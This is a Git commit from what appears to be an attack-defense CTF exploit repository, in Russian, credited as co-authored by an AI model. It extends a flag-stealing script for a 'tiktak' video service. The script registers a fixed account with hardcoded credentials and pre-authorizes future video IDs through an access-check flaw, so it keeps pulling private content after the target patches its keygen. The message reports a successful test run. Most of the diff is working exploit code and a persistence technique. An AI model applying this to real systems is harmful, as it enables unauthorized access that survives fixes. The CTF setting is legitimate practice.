sploits: закладка на пре-авторизацию будущих видео (tiktak)
handleAccess выдаёт доступ, не проверяя существование видео, а запись в access привязана к аккаунту и переживает ротацию токенов. Значит можно занять строки под будущие id постоянным аккаунтом, и забирать флаги даже после того, как цель запатчит keygen. - tiktak_preauth.py: логинится постоянным PERSIST_LOGIN, меряет скорость роста id (у команд разброс 7..900/мин), занимает окно вперёд на N минут. Не для фермы, запускать раз в 10-20 мин, пока цель не запатчила. - tiktak_keygen_forge.py: тот же постоянный аккаунт вместо одноразового; watch=200 без форжа = сработала закладка, собираем флаг и оттуда. Проверено на 10.10.10.5: занял 184 будущих id, через минуту watch/60524 и 60527 отдали свежие флаги без токена в запросе. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
This commit is contained in:
@@ -16,6 +16,10 @@ USER_AGENTS = [
|
||||
]
|
||||
|
||||
PORT = 5000
|
||||
# Доступ в таблице access привязан к аккаунту, поэтому нужен ПОСТОЯННЫЙ логин:
|
||||
# записи, поставленные tiktak_preauth.py, видны только этому пользователю.
|
||||
PERSIST_LOGIN = "mkt_svc_4a91"
|
||||
PERSIST_PASS = "Qw8_rt2M_zx71"
|
||||
BLOCK = 2000 # сканируем блоками, выходим как только набрали целей
|
||||
MAX_DEPTH = 14000 # на быстрых боксах id растут >1000/мин
|
||||
WANT_TARGETS = 6 # столько приватных достаточно, чтобы не жечь раунд
|
||||
@@ -47,6 +51,18 @@ def legacy_token(vid):
|
||||
return "".join(out)
|
||||
|
||||
|
||||
def login_or_register(s, base):
|
||||
r = s.post(f"{base}/login",
|
||||
data={"login": PERSIST_LOGIN, "password": PERSIST_PASS},
|
||||
timeout=6, allow_redirects=False)
|
||||
if r.status_code == 302:
|
||||
return True
|
||||
r = s.post(f"{base}/register",
|
||||
data={"login": PERSIST_LOGIN, "password": PERSIST_PASS},
|
||||
timeout=6, allow_redirects=False)
|
||||
return r.status_code == 302
|
||||
|
||||
|
||||
def exploit(target_ip):
|
||||
flags = set()
|
||||
|
||||
@@ -71,12 +87,11 @@ def exploit(target_ip):
|
||||
s.headers.update(headers)
|
||||
base = f"http://{target_ip}:{PORT}"
|
||||
|
||||
# 1. нужен аккаунт: на /access висит RequiredMiddleware
|
||||
login = "".join(random.choices("abcdefghijklmnopqrstuvwxyz", k=10))
|
||||
r = s.post(f"{base}/register",
|
||||
data={"login": login, "password": "pw123456"}, timeout=6)
|
||||
if r.status_code not in (200, 302):
|
||||
print(f"[-] {target_ip}: register -> {r.status_code}", file=sys.stderr, flush=True)
|
||||
# 1. нужен аккаунт: на /access висит RequiredMiddleware.
|
||||
# Логинимся постоянным пользователем -- под ним лежат записи,
|
||||
# заранее поставленные tiktak_preauth.py.
|
||||
if not login_or_register(s, base):
|
||||
print(f"[-] {target_ip}: не удалось войти", file=sys.stderr, flush=True)
|
||||
return flags
|
||||
|
||||
# 2. Приватное видео выдаёт себя размытым превью. /feed показывает лишь
|
||||
@@ -121,8 +136,16 @@ def exploit(target_ip):
|
||||
continue
|
||||
|
||||
if w.status_code == 200:
|
||||
# публичное (или уже открытое) -- флаг всё равно может лежать тут
|
||||
flags.update(FLAG_RX.findall(w.text))
|
||||
# Доступ уже есть -- либо видео публичное, либо сработала
|
||||
# закладка из tiktak_preauth.py. Второе продолжает работать
|
||||
# даже после того, как цель запатчит keygen.
|
||||
found = set(FLAG_RX.findall(w.text))
|
||||
found |= set(FLAG_RX.findall(
|
||||
s.get(f"{base}/vtt/", params={"id": vid}, timeout=6).text))
|
||||
if found:
|
||||
flags.update(found)
|
||||
print(f"[+] {target_ip}: видео {vid} (доступ уже был) -> {len(found)} флагов",
|
||||
file=sys.stderr, flush=True)
|
||||
continue
|
||||
if w.status_code != 403:
|
||||
continue
|
||||
|
||||
Reference in New Issue
Block a user